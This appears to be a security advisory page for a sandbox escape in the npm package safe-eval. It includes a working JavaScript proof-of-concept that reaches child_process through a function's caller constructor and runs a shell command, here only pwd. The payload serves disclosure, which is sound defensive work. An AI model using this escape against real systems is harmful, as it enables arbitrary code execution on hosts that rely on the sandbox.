High

Sandbox Breakout / Arbitrary Code Execution in safe-eval

  • Disclosed: 03.09.2020
  • Updated: 11.10.2026 10:22

All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.

For example, the payload

js
((() => { 
const targetKey = Object.keys(this)[0]; 
Object.defineProperty(this, targetKey, { 
get: function() { 
return arguments.callee.caller.constructor( 
"return global.process.mainModule.require('child_process').execSync('pwd').toString()" 
)(); 
} 
}); 
})();```
may be used to print the `pwd` to the console.


## Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package safe-eval >= 0.0.0 no fix

References

CVSS score -
Weakness (CWE)
-
Platform
npm
Package
safe-eval
Disclosed
03.09.2020
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-9pcf-h8q9-63f6 - CC BY 4.0

Vulnerability history: safe-eval

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
6
First → latest
07.2018 04.2023
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 1

Disclosures per year

  1. 2018: 1
  2. 2019: 0
  3. 2020: 2
  4. 2021: 0
  5. 2022: 1
  6. 2023: 2
  7. 2024: 0
  8. 2025: 0
  9. 2026: 0
  1. Critical · 10.0 CVE-2023-26122 <= 0.4.2 no fix
  2. Critical · 10.0 CVE-2023-26121 <= 0.4.2 no fix
  3. Critical · 9.8 CVE-2022-25904 <= 0.4.1 no fix
  4. Sandbox Breakout / Arbitrary Code Execution in safe-eval this entry
    High ghsa-9pcf-h8q9-63f6 >= 0.0.0 no fix
  5. Critical · 9.8 CVE-2020-7710 <= 0.4.1 no fix
  6. Critical · 10.0 CVE-2017-16088 <= 0.3.0 no fix

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.